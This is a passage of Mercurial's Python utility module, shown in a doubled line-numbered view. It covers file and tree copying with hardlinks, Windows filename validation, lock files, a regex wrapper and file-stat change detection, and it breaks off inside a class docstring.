1874 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1875 # unless we are confident that dest is on a whitelisted filesystem.
1875 # unless we are confident that dest is on a whitelisted filesystem.
1876 try:
1876 try:
1877 fstype = getfstype(os.path.dirname(dest))
1877 fstype = getfstype(os.path.dirname(dest))
1878 except OSError:
1878 except OSError:
1879 fstype = None
1879 fstype = None
1880 if fstype not in _hardlinkfswhitelist:
1880 if fstype not in _hardlinkfswhitelist:
1881 hardlink = False
1881 hardlink = False
1882 if hardlink:
1882 if hardlink:
1883 try:
1883 try:
1884 oslink(src, dest)
1884 oslink(src, dest)
1885 return
1885 return
1886 except (IOError, OSError):
1886 except (IOError, OSError):
1887 pass # fall back to normal copy
1887 pass # fall back to normal copy
1888 if os.path.islink(src):
1888 if os.path.islink(src):
1889 os.symlink(os.readlink(src), dest)
1889 os.symlink(os.readlink(src), dest)
1890 # copytime is ignored for symlinks, but in general copytime isn't needed
1890 # copytime is ignored for symlinks, but in general copytime isn't needed
1891 # for them anyway
1891 # for them anyway
1892 else:
1892 else:
1893 try:
1893 try:
1894 shutil.copyfile(src, dest)
1894 shutil.copyfile(src, dest)
1895 if copystat:
1895 if copystat:
1896 # copystat also copies mode
1896 # copystat also copies mode
1897 shutil.copystat(src, dest)
1897 shutil.copystat(src, dest)
1898 else:
1898 else:
1899 shutil.copymode(src, dest)
1899 shutil.copymode(src, dest)
1900 if oldstat and oldstat.stat:
1900 if oldstat and oldstat.stat:
1901 newstat = filestat.frompath(dest)
1901 newstat = filestat.frompath(dest)
1902 if newstat.isambig(oldstat):
1902 if newstat.isambig(oldstat):
1903 # stat of copied file is ambiguous to original one
1903 # stat of copied file is ambiguous to original one
1904 advanced = (
1904 advanced = (
1905 oldstat.stat[stat.ST_MTIME] + 1
1905 oldstat.stat[stat.ST_MTIME] + 1
1906 ) & 0x7FFFFFFF
1906 ) & 0x7FFFFFFF
1907 os.utime(dest, (advanced, advanced))
1907 os.utime(dest, (advanced, advanced))
1908 except shutil.Error as inst:
1908 except shutil.Error as inst:
1909 raise error.Abort(stringutil.forcebytestr(inst))
1909 raise error.Abort(stringutil.forcebytestr(inst))
1910
1910
1911
1911
1912 def copyfiles(src, dst, hardlink=None, progress=None):
1912 def copyfiles(src, dst, hardlink=None, progress=None):
1913 """Copy a directory tree using hardlinks if possible."""
1913 """Copy a directory tree using hardlinks if possible."""
1914 num = 0
1914 num = 0
1915
1915
1916 def settopic():
1916 def settopic():
1917 if progress:
1917 if progress:
1918 progress.topic = _(b'linking') if hardlink else _(b'copying')
1918 progress.topic = _(b'linking') if hardlink else _(b'copying')
1919
1919
1920 if os.path.isdir(src):
1920 if os.path.isdir(src):
1921 if hardlink is None:
1921 if hardlink is None:
1922 hardlink = (
1922 hardlink = (
1923 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1923 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1924 )
1924 )
1925 settopic()
1925 settopic()
1926 os.mkdir(dst)
1926 os.mkdir(dst)
1927 for name, kind in listdir(src):
1927 for name, kind in listdir(src):
1928 srcname = os.path.join(src, name)
1928 srcname = os.path.join(src, name)
1929 dstname = os.path.join(dst, name)
1929 dstname = os.path.join(dst, name)
1930 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1930 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1931 num += n
1931 num += n
1932 else:
1932 else:
1933 if hardlink is None:
1933 if hardlink is None:
1934 hardlink = (
1934 hardlink = (
1935 os.stat(os.path.dirname(src)).st_dev
1935 os.stat(os.path.dirname(src)).st_dev
1936 == os.stat(os.path.dirname(dst)).st_dev
1936 == os.stat(os.path.dirname(dst)).st_dev
1937 )
1937 )
1938 settopic()
1938 settopic()
1939
1939
1940 if hardlink:
1940 if hardlink:
1941 try:
1941 try:
1942 oslink(src, dst)
1942 oslink(src, dst)
1943 except (IOError, OSError):
1943 except (IOError, OSError):
1944 hardlink = False
1944 hardlink = False
1945 shutil.copy(src, dst)
1945 shutil.copy(src, dst)
1946 else:
1946 else:
1947 shutil.copy(src, dst)
1947 shutil.copy(src, dst)
1948 num += 1
1948 num += 1
1949 if progress:
1949 if progress:
1950 progress.increment()
1950 progress.increment()
1951
1951
1952 return hardlink, num
1952 return hardlink, num
1953
1953
1954
1954
1955 _winreservednames = {
1955 _winreservednames = {
1956 b'con',
1956 b'con',
1957 b'prn',
1957 b'prn',
1958 b'aux',
1958 b'aux',
1959 b'nul',
1959 b'nul',
1960 b'com1',
1960 b'com1',
1961 b'com2',
1961 b'com2',
1962 b'com3',
1962 b'com3',
1963 b'com4',
1963 b'com4',
1964 b'com5',
1964 b'com5',
1965 b'com6',
1965 b'com6',
1966 b'com7',
1966 b'com7',
1967 b'com8',
1967 b'com8',
1968 b'com9',
1968 b'com9',
1969 b'lpt1',
1969 b'lpt1',
1970 b'lpt2',
1970 b'lpt2',
1971 b'lpt3',
1971 b'lpt3',
1972 b'lpt4',
1972 b'lpt4',
1973 b'lpt5',
1973 b'lpt5',
1974 b'lpt6',
1974 b'lpt6',
1975 b'lpt7',
1975 b'lpt7',
1976 b'lpt8',
1976 b'lpt8',
1977 b'lpt9',
1977 b'lpt9',
1978 }
1978 }
1979 _winreservedchars = b':*?"<>|'
1979 _winreservedchars = b':*?"<>|'
1980
1980
1981
1981
1982 def checkwinfilename(path):
1982 def checkwinfilename(path):
1983 r'''Check that the base-relative path is a valid filename on Windows.
1983 r'''Check that the base-relative path is a valid filename on Windows.
1984 Returns None if the path is ok, or a UI string describing the problem.
1984 Returns None if the path is ok, or a UI string describing the problem.
1985
1985
1986 >>> checkwinfilename(b"just/a/normal/path")
1986 >>> checkwinfilename(b"just/a/normal/path")
1987 >>> checkwinfilename(b"foo/bar/con.xml")
1987 >>> checkwinfilename(b"foo/bar/con.xml")
1988 "filename contains 'con', which is reserved on Windows"
1988 "filename contains 'con', which is reserved on Windows"
1989 >>> checkwinfilename(b"foo/con.xml/bar")
1989 >>> checkwinfilename(b"foo/con.xml/bar")
1990 "filename contains 'con', which is reserved on Windows"
1990 "filename contains 'con', which is reserved on Windows"
1991 >>> checkwinfilename(b"foo/bar/xml.con")
1991 >>> checkwinfilename(b"foo/bar/xml.con")
1992 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1992 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1993 "filename contains 'AUX', which is reserved on Windows"
1993 "filename contains 'AUX', which is reserved on Windows"
1994 >>> checkwinfilename(b"foo/bar/bla:.txt")
1994 >>> checkwinfilename(b"foo/bar/bla:.txt")
1995 "filename contains ':', which is reserved on Windows"
1995 "filename contains ':', which is reserved on Windows"
1996 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1996 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1997 "filename contains '\\x07', which is invalid on Windows"
1997 "filename contains '\\x07', which is invalid on Windows"
1998 >>> checkwinfilename(b"foo/bar/bla ")
1998 >>> checkwinfilename(b"foo/bar/bla ")
1999 "filename ends with ' ', which is not allowed on Windows"
1999 "filename ends with ' ', which is not allowed on Windows"
2000 >>> checkwinfilename(b"../bar")
2000 >>> checkwinfilename(b"../bar")
2001 >>> checkwinfilename(b"foo\\")
2001 >>> checkwinfilename(b"foo\\")
2002 "filename ends with '\\', which is invalid on Windows"
2002 "filename ends with '\\', which is invalid on Windows"
2003 >>> checkwinfilename(b"foo\\/bar")
2003 >>> checkwinfilename(b"foo\\/bar")
2004 "directory name ends with '\\', which is invalid on Windows"
2004 "directory name ends with '\\', which is invalid on Windows"
2005 '''
2005 '''
2006 if path.endswith(b'\\'):
2006 if path.endswith(b'\\'):
2007 return _(b"filename ends with '\\', which is invalid on Windows")
2007 return _(b"filename ends with '\\', which is invalid on Windows")
2008 if b'\\/' in path:
2008 if b'\\/' in path:
2009 return _(b"directory name ends with '\\', which is invalid on Windows")
2009 return _(b"directory name ends with '\\', which is invalid on Windows")
2010 for n in path.replace(b'\\', b'/').split(b'/'):
2010 for n in path.replace(b'\\', b'/').split(b'/'):
2011 if not n:
2011 if not n:
2012 continue
2012 continue
2013 for c in _filenamebytestr(n):
2013 for c in _filenamebytestr(n):
2014 if c in _winreservedchars:
2014 if c in _winreservedchars:
2015 return (
2015 return (
2016 _(
2016 _(
2017 b"filename contains '%s', which is reserved "
2017 b"filename contains '%s', which is reserved "
2018 b"on Windows"
2018 b"on Windows"
2019 )
2019 )
2020 % c
2020 % c
2021 )
2021 )
2022 if ord(c) <= 31:
2022 if ord(c) <= 31:
2023 return _(
2023 return _(
2024 b"filename contains '%s', which is invalid on Windows"
2024 b"filename contains '%s', which is invalid on Windows"
2025 ) % stringutil.escapestr(c)
2025 ) % stringutil.escapestr(c)
2026 base = n.split(b'.')[0]
2026 base = n.split(b'.')[0]
2027 if base and base.lower() in _winreservednames:
2027 if base and base.lower() in _winreservednames:
2028 return (
2028 return (
2029 _(b"filename contains '%s', which is reserved on Windows")
2029 _(b"filename contains '%s', which is reserved on Windows")
2030 % base
2030 % base
2031 )
2031 )
2032 t = n[-1:]
2032 t = n[-1:]
2033 if t in b'. ' and n not in b'..':
2033 if t in b'. ' and n not in b'..':
2034 return (
2034 return (
2035 _(
2035 _(
2036 b"filename ends with '%s', which is not allowed "
2036 b"filename ends with '%s', which is not allowed "
2037 b"on Windows"
2037 b"on Windows"
2038 )
2038 )
2039 % t
2039 % t
2040 )
2040 )
2041
2041
2042
2042
2043 if pycompat.iswindows:
2043 if pycompat.iswindows:
2044 checkosfilename = checkwinfilename
2044 checkosfilename = checkwinfilename
2045 timer = time.clock
2045 timer = time.clock
2046 else:
2046 else:
2047 checkosfilename = platform.checkosfilename
2047 checkosfilename = platform.checkosfilename
2048 timer = time.time
2048 timer = time.time
2049
2049
2050 if safehasattr(time, "perf_counter"):
2050 if safehasattr(time, "perf_counter"):
2051 timer = time.perf_counter
2051 timer = time.perf_counter
2052
2052
2053
2053
2054 def makelock(info, pathname):
2054 def makelock(info, pathname):
2055 """Create a lock file atomically if possible
2055 """Create a lock file atomically if possible
2056
2056
2057 This may leave a stale lock file if symlink isn't supported and signal
2057 This may leave a stale lock file if symlink isn't supported and signal
2058 interrupt is enabled.
2058 interrupt is enabled.
2059 """
2059 """
2060 try:
2060 try:
2061 return os.symlink(info, pathname)
2061 return os.symlink(info, pathname)
2062 except OSError as why:
2062 except OSError as why:
2063 if why.errno == errno.EEXIST:
2063 if why.errno == errno.EEXIST:
2064 raise
2064 raise
2065 except AttributeError: # no symlink in os
2065 except AttributeError: # no symlink in os
2066 pass
2066 pass
2067
2067
2068 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2068 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2069 ld = os.open(pathname, flags)
2069 ld = os.open(pathname, flags)
2070 os.write(ld, info)
2070 os.write(ld, info)
2071 os.close(ld)
2071 os.close(ld)
2072
2072
2073
2073
2074 def readlock(pathname):
2074 def readlock(pathname):
2075 try:
2075 try:
2076 return readlink(pathname)
2076 return readlink(pathname)
2077 except OSError as why:
2077 except OSError as why:
2078 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2078 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2079 raise
2079 raise
2080 except AttributeError: # no symlink in os
2080 except AttributeError: # no symlink in os
2081 pass
2081 pass
2082 with posixfile(pathname, b'rb') as fp:
2082 with posixfile(pathname, b'rb') as fp:
2083 return fp.read()
2083 return fp.read()
2084
2084
2085
2085
2086 def fstat(fp):
2086 def fstat(fp):
2087 '''stat file object that may not have fileno method.'''
2087 '''stat file object that may not have fileno method.'''
2088 try:
2088 try:
2089 return os.fstat(fp.fileno())
2089 return os.fstat(fp.fileno())
2090 except AttributeError:
2090 except AttributeError:
2091 return os.stat(fp.name)
2091 return os.stat(fp.name)
2092
2092
2093
2093
2094 # File system features
2094 # File system features
2095
2095
2096
2096
2097 def fscasesensitive(path):
2097 def fscasesensitive(path):
2098 """
2098 """
2099 Return true if the given path is on a case-sensitive filesystem
2099 Return true if the given path is on a case-sensitive filesystem
2100
2100
2101 Requires a path (like /foo/.hg) ending with a foldable final
2101 Requires a path (like /foo/.hg) ending with a foldable final
2102 directory component.
2102 directory component.
2103 """
2103 """
2104 s1 = os.lstat(path)
2104 s1 = os.lstat(path)
2105 d, b = os.path.split(path)
2105 d, b = os.path.split(path)
2106 b2 = b.upper()
2106 b2 = b.upper()
2107 if b == b2:
2107 if b == b2:
2108 b2 = b.lower()
2108 b2 = b.lower()
2109 if b == b2:
2109 if b == b2:
2110 return True # no evidence against case sensitivity
2110 return True # no evidence against case sensitivity
2111 p2 = os.path.join(d, b2)
2111 p2 = os.path.join(d, b2)
2112 try:
2112 try:
2113 s2 = os.lstat(p2)
2113 s2 = os.lstat(p2)
2114 if s2 == s1:
2114 if s2 == s1:
2115 return False
2115 return False
2116 return True
2116 return True
2117 except OSError:
2117 except OSError:
2118 return True
2118 return True
2119
2119
2120
2120
2121 try:
2121 try:
2122 import re2
2122 import re2
2123
2123
2124 _re2 = None
2124 _re2 = None
2125 except ImportError:
2125 except ImportError:
2126 _re2 = False
2126 _re2 = False
2127
2127
2128
2128
2129 class _re(object):
2129 class _re(object):
2130 def _checkre2(self):
2130 def _checkre2(self):
2131 global _re2
2131 global _re2
2132 try:
2132 try:
2133 # check if match works, see issue3964
2133 # check if match works, see issue3964
2134 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
2134 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
2135 except ImportError:
2135 except ImportError:
2136 _re2 = False
2136 _re2 = False
2137
2137
2138 def compile(self, pat, flags=0):
2138 def compile(self, pat, flags=0):
2139 '''Compile a regular expression, using re2 if possible
2139 '''Compile a regular expression, using re2 if possible
2140
2140
2141 For best performance, use only re2-compatible regexp features. The
2141 For best performance, use only re2-compatible regexp features. The
2142 only flags from the re module that are re2-compatible are
2142 only flags from the re module that are re2-compatible are
2143 IGNORECASE and MULTILINE.'''
2143 IGNORECASE and MULTILINE.'''
2144 if _re2 is None:
2144 if _re2 is None:
2145 self._checkre2()
2145 self._checkre2()
2146 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2146 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2147 if flags & remod.IGNORECASE:
2147 if flags & remod.IGNORECASE:
2148 pat = b'(?i)' + pat
2148 pat = b'(?i)' + pat
2149 if flags & remod.MULTILINE:
2149 if flags & remod.MULTILINE:
2150 pat = b'(?m)' + pat
2150 pat = b'(?m)' + pat
2151 try:
2151 try:
2152 return re2.compile(pat)
2152 return re2.compile(pat)
2153 except re2.error:
2153 except re2.error:
2154 pass
2154 pass
2155 return remod.compile(pat, flags)
2155 return remod.compile(pat, flags)
2156
2156
2157 @propertycache
2157 @propertycache
2158 def escape(self):
2158 def escape(self):
2159 '''Return the version of escape corresponding to self.compile.
2159 '''Return the version of escape corresponding to self.compile.
2160
2160
2161 This is imperfect because whether re2 or re is used for a particular
2161 This is imperfect because whether re2 or re is used for a particular
2162 function depends on the flags, etc, but it's the best we can do.
2162 function depends on the flags, etc, but it's the best we can do.
2163 '''
2163 '''
2164 global _re2
2164 global _re2
2165 if _re2 is None:
2165 if _re2 is None:
2166 self._checkre2()
2166 self._checkre2()
2167 if _re2:
2167 if _re2:
2168 return re2.escape
2168 return re2.escape
2169 else:
2169 else:
2170 return remod.escape
2170 return remod.escape
2171
2171
2172
2172
2173 re = _re()
2173 re = _re()
2174
2174
2175 _fspathcache = {}
2175 _fspathcache = {}
2176
2176
2177
2177
2178 def fspath(name, root):
2178 def fspath(name, root):
2179 '''Get name in the case stored in the filesystem
2179 '''Get name in the case stored in the filesystem
2180
2180
2181 The name should be relative to root, and be normcase-ed for efficiency.
2181 The name should be relative to root, and be normcase-ed for efficiency.
2182
2182
2183 Note that this function is unnecessary, and should not be
2183 Note that this function is unnecessary, and should not be
2184 called, for case-sensitive filesystems (simply because it's expensive).
2184 called, for case-sensitive filesystems (simply because it's expensive).
2185
2185
2186 The root should be normcase-ed, too.
2186 The root should be normcase-ed, too.
2187 '''
2187 '''
2188
2188
2189 def _makefspathcacheentry(dir):
2189 def _makefspathcacheentry(dir):
2190 return dict((normcase(n), n) for n in os.listdir(dir))
2190 return dict((normcase(n), n) for n in os.listdir(dir))
2191
2191
2192 seps = pycompat.ossep
2192 seps = pycompat.ossep
2193 if pycompat.osaltsep:
2193 if pycompat.osaltsep:
2194 seps = seps + pycompat.osaltsep
2194 seps = seps + pycompat.osaltsep
2195 # Protect backslashes. This gets silly very quickly.
2195 # Protect backslashes. This gets silly very quickly.
2196 seps.replace(b'\\', b'\\\\')
2196 seps.replace(b'\\', b'\\\\')
2197 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2197 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2198 dir = os.path.normpath(root)
2198 dir = os.path.normpath(root)
2199 result = []
2199 result = []
2200 for part, sep in pattern.findall(name):
2200 for part, sep in pattern.findall(name):
2201 if sep:
2201 if sep:
2202 result.append(sep)
2202 result.append(sep)
2203 continue
2203 continue
2204
2204
2205 if dir not in _fspathcache:
2205 if dir not in _fspathcache:
2206 _fspathcache[dir] = _makefspathcacheentry(dir)
2206 _fspathcache[dir] = _makefspathcacheentry(dir)
2207 contents = _fspathcache[dir]
2207 contents = _fspathcache[dir]
2208
2208
2209 found = contents.get(part)
2209 found = contents.get(part)
2210 if not found:
2210 if not found:
2211 # retry "once per directory" per "dirstate.walk" which
2211 # retry "once per directory" per "dirstate.walk" which
2212 # may take place for each patches of "hg qpush", for example
2212 # may take place for each patches of "hg qpush", for example
2213 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2213 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2214 found = contents.get(part)
2214 found = contents.get(part)
2215
2215
2216 result.append(found or part)
2216 result.append(found or part)
2217 dir = os.path.join(dir, part)
2217 dir = os.path.join(dir, part)
2218
2218
2219 return b''.join(result)
2219 return b''.join(result)
2220
2220
2221
2221
2222 def checknlink(testfile):
2222 def checknlink(testfile):
2223 '''check whether hardlink count reporting works properly'''
2223 '''check whether hardlink count reporting works properly'''
2224
2224
2225 # testfile may be open, so we need a separate file for checking to
2225 # testfile may be open, so we need a separate file for checking to
2226 # work around issue2543 (or testfile may get lost on Samba shares)
2226 # work around issue2543 (or testfile may get lost on Samba shares)
2227 f1, f2, fp = None, None, None
2227 f1, f2, fp = None, None, None
2228 try:
2228 try:
2229 fd, f1 = pycompat.mkstemp(
2229 fd, f1 = pycompat.mkstemp(
2230 prefix=b'.%s-' % os.path.basename(testfile),
2230 prefix=b'.%s-' % os.path.basename(testfile),
2231 suffix=b'1~',
2231 suffix=b'1~',
2232 dir=os.path.dirname(testfile),
2232 dir=os.path.dirname(testfile),
2233 )
2233 )
2234 os.close(fd)
2234 os.close(fd)
2235 f2 = b'%s2~' % f1[:-2]
2235 f2 = b'%s2~' % f1[:-2]
2236
2236
2237 oslink(f1, f2)
2237 oslink(f1, f2)
2238 # nlinks() may behave differently for files on Windows shares if
2238 # nlinks() may behave differently for files on Windows shares if
2239 # the file is open.
2239 # the file is open.
2240 fp = posixfile(f2)
2240 fp = posixfile(f2)
2241 return nlinks(f2) > 1
2241 return nlinks(f2) > 1
2242 except OSError:
2242 except OSError:
2243 return False
2243 return False
2244 finally:
2244 finally:
2245 if fp is not None:
2245 if fp is not None:
2246 fp.close()
2246 fp.close()
2247 for f in (f1, f2):
2247 for f in (f1, f2):
2248 try:
2248 try:
2249 if f is not None:
2249 if f is not None:
2250 os.unlink(f)
2250 os.unlink(f)
2251 except OSError:
2251 except OSError:
2252 pass
2252 pass
2253
2253
2254
2254
2255 def endswithsep(path):
2255 def endswithsep(path):
2256 '''Check path ends with os.sep or os.altsep.'''
2256 '''Check path ends with os.sep or os.altsep.'''
2257 return (
2257 return (
2258 path.endswith(pycompat.ossep)
2258 path.endswith(pycompat.ossep)
2259 or pycompat.osaltsep
2259 or pycompat.osaltsep
2260 and path.endswith(pycompat.osaltsep)
2260 and path.endswith(pycompat.osaltsep)
2261 )
2261 )
2262
2262
2263
2263
2264 def splitpath(path):
2264 def splitpath(path):
2265 '''Split path by os.sep.
2265 '''Split path by os.sep.
2266 Note that this function does not use os.altsep because this is
2266 Note that this function does not use os.altsep because this is
2267 an alternative of simple "xxx.split(os.sep)".
2267 an alternative of simple "xxx.split(os.sep)".
2268 It is recommended to use os.path.normpath() before using this
2268 It is recommended to use os.path.normpath() before using this
2269 function if need.'''
2269 function if need.'''
2270 return path.split(pycompat.ossep)
2270 return path.split(pycompat.ossep)
2271
2271
2272
2272
2273 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2273 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2274 """Create a temporary file with the same contents from name
2274 """Create a temporary file with the same contents from name
2275
2275
2276 The permission bits are copied from the original file.
2276 The permission bits are copied from the original file.
2277
2277
2278 If the temporary file is going to be truncated immediately, you
2278 If the temporary file is going to be truncated immediately, you
2279 can use emptyok=True as an optimization.
2279 can use emptyok=True as an optimization.
2280
2280
2281 Returns the name of the temporary file.
2281 Returns the name of the temporary file.
2282 """
2282 """
2283 d, fn = os.path.split(name)
2283 d, fn = os.path.split(name)
2284 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2284 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2285 os.close(fd)
2285 os.close(fd)
2286 # Temporary files are created with mode 0600, which is usually not
2286 # Temporary files are created with mode 0600, which is usually not
2287 # what we want. If the original file already exists, just copy
2287 # what we want. If the original file already exists, just copy
2288 # its mode. Otherwise, manually obey umask.
2288 # its mode. Otherwise, manually obey umask.
2289 copymode(name, temp, createmode, enforcewritable)
2289 copymode(name, temp, createmode, enforcewritable)
2290
2290
2291 if emptyok:
2291 if emptyok:
2292 return temp
2292 return temp
2293 try:
2293 try:
2294 try:
2294 try:
2295 ifp = posixfile(name, b"rb")
2295 ifp = posixfile(name, b"rb")
2296 except IOError as inst:
2296 except IOError as inst:
2297 if inst.errno == errno.ENOENT:
2297 if inst.errno == errno.ENOENT:
2298 return temp
2298 return temp
2299 if not getattr(inst, 'filename', None):
2299 if not getattr(inst, 'filename', None):
2300 inst.filename = name
2300 inst.filename = name
2301 raise
2301 raise
2302 ofp = posixfile(temp, b"wb")
2302 ofp = posixfile(temp, b"wb")
2303 for chunk in filechunkiter(ifp):
2303 for chunk in filechunkiter(ifp):
2304 ofp.write(chunk)
2304 ofp.write(chunk)
2305 ifp.close()
2305 ifp.close()
2306 ofp.close()
2306 ofp.close()
2307 except: # re-raises
2307 except: # re-raises
2308 try:
2308 try:
2309 os.unlink(temp)
2309 os.unlink(temp)
2310 except OSError:
2310 except OSError:
2311 pass
2311 pass
2312 raise
2312 raise
2313 return temp
2313 return temp
2314
2314
2315
2315
2316 class filestat(object):
2316 class filestat(object):
2317 """help to exactly detect change of a file
2317 """help to exactly detect change of a file
2318
2318
2319 'stat' attribute is result of 'os.stat()' if specified 'path'
2319 'stat' attribute is result of 'os.stat()' if specified 'path'
2320 exists. Otherwise, it is None. This can avoid preparative
2320 exists. Otherwise, it is None. This can avoid preparative
2321 'exists()' examination on client side of this class.
2321 'exists()' examination on client side of this class.
2322 """
2322 """
2323
2323
2324 def __init__(self, stat):
2324 def __init__(self, stat):
2325 self.stat = stat
2325 self.stat = stat
2326
2326
2327 @classmethod
2327 @classmethod
2328 def frompath(cls, path):
2328 def frompath(cls, path):
2329 try:
2329 try:
2330 stat = os.stat(path)
2330 stat = os.stat(path)
2331 except OSError as err:
2331 except OSError as err:
2332 if err.errno != errno.ENOENT:
2332 if err.errno != errno.ENOENT:
2333 raise
2333 raise
2334 stat = None
2334 stat = None
2335 return cls(stat)
2335 return cls(stat)
2336
2336
2337 @classmethod
2337 @classmethod
2338 def fromfp(cls, fp):
2338 def fromfp(cls, fp):
2339 stat = os.fstat(fp.fileno())
2339 stat = os.fstat(fp.fileno())
2340 return cls(stat)
2340 return cls(stat)
2341
2341
2342 __hash__ = object.__hash__
2342 __hash__ = object.__hash__
2343
2343
2344 def __eq__(self, old):
2344 def __eq__(self, old):
2345 try:
2345 try:
2346 # if ambiguity between stat of new and old file is
2346 # if ambiguity between stat of new and old file is
2347 # avoided, comparison of size, ctime and mtime is enough
2347 # avoided, comparison of size, ctime and mtime is enough
2348 # to exactly detect change of a file regardless of platform
2348 # to exactly detect change of a file regardless of platform
2349 return (
2349 return (
2350 self.stat.st_size == old.stat.st_size
2350 self.stat.st_size == old.stat.st_size
2351 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2351 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2352 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2352 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2353 )
2353 )
2354 except AttributeError:
2354 except AttributeError:
2355 pass
2355 pass
2356 try:
2356 try:
2357 return self.stat is None and old.stat is None
2357 return self.stat is None and old.stat is None
2358 except AttributeError:
2358 except AttributeError:
2359 return False
2359 return False
2360
2360
2361 def isambig(self, old):
2361 def isambig(self, old):
2362 """Examine whether new (= self) stat is ambiguous against old one
2362 """Examine whether new (= self) stat is ambiguous against old one
2363
2363
2364 "S[N]" below means stat of a file at N-th change:
2364 "S[N]" below means stat of a file at N-th change:
2365
2365
2366 - S[n-1].ctime < S[n].ctime: can detect change of a file
2366 - S[n-1].ctime < S[n].ctime: can detect change of a file
2367 - S[n-1].ctime == S[n].ctime
2367 - S[n-1].ctime == S[n].ctime
2368 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2368 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2369 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2369 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2370 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2370 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2371 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2371 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2372
2372
2373 Case (*2) above means that a file was changed twice or more at
2373 Case (*2) above means that a file was changed twice or more at
2374 same time in sec (= S[n-1].ctime), and comparison of timestamp
2374 same time in sec (= S[n-1].ctime), and comparison of timestamp
2375 is ambiguous.
2375 is ambiguous.
2376
2376
2377 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2377 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2378 timestamp is ambiguous".
2378 timestamp is ambiguous".
2379
2379
2380 But advancing mtime only in case (*2) doesn't work as
2380 But advancing mtime only in case (*2) doesn't work as
2381 expected, because naturally advanced S[n].mtime in case (*1)
2381 expected, because naturally advanced S[n].mtime in case (*1)
2382 might be equal to manually advanced S[n-1 or earlier].mtime.
2382 might be equal to manually advanced S[n-1 or earlier].mtime.
2383
2383
2384 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2384 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2385 treated as ambiguous regardless of mtime, to avoid overlooking
2385 treated as ambiguous regardless of mtime, to avoid overlooking
2386 by confliction between such mtime.
2386 by confliction between such mtime.
2387
2387
2388 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2388 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2389 S[n].mtime", even if size of a file isn't changed.
2389 S[n].mtime", even if size of a file isn't changed.
2390 """
2390 """
2391 try:
2391 try:
2392 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2392 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2393 except AttributeError:
2393 except AttributeError:
2394 return False
2394 return False
2395
2395
2396 def avoidambig(self, path, old):
2396 def avoidambig(self, path, old):
2397 """Change file stat of specified path to avoid ambiguity
2397 """Change file stat of specified path to avoid ambiguity
2398
2398
2399 'old' should be previous filestat of 'path'.
2399 'old' should be previous filestat of 'path'.
2400
2400
2401 This skips avoiding ambiguity, if a process doesn't have
2401 This skips avoiding ambiguity, if a process doesn't have
2402 appropriate privileges for 'path'. This returns False in this
2402 appropriate privileges for 'path'. This returns False in this
2403 case.
2403 case.
2404
2404
2405 Otherwise, this returns True, as "ambiguity is avoided".
2405 Otherwise, this returns True, as "ambiguity is avoided".
2406 """
2406 """
2407 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2407 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2408 try:
2408 try:
2409 os.utime(path, (advanced, advanced))
2409 os.utime(path, (advanced, advanced))
2410 except OSError as inst:
2410 except OSError as inst:
2411 if inst.errno == errno.EPERM:
2411 if inst.errno == errno.EPERM:
2412 # utime() on the file created by another user causes EPERM,
2412 # utime() on the file created by another user causes EPERM,
2413 # if a process doesn't have appropriate privileges
2413 # if a process doesn't have appropriate privileges
2414 return False
2414 return False
2415 raise
2415 raise
2416 return True
2416 return True
2417
2417
2418 def __ne__(self, other):
2418 def __ne__(self, other):
2419 return not self == other
2419 return not self == other
2420
2420
2421
2421
2422 class atomictempfile(object):
2422 class atomictempfile(object):
2423 '''writable file object that atomically updates a file
2423 '''writable file object that atomically updates a file
2424
2424
2425 All writes will go to a temporary copy of the original file. Call
2425 All writes will go to a temporary copy of the original file. Call
2426 close() when you are done writing, and atomictempfile will rename
2426 close() when you are done writing, and atomictempfile will rename
2427 the temporary copy to the original name, making the changes
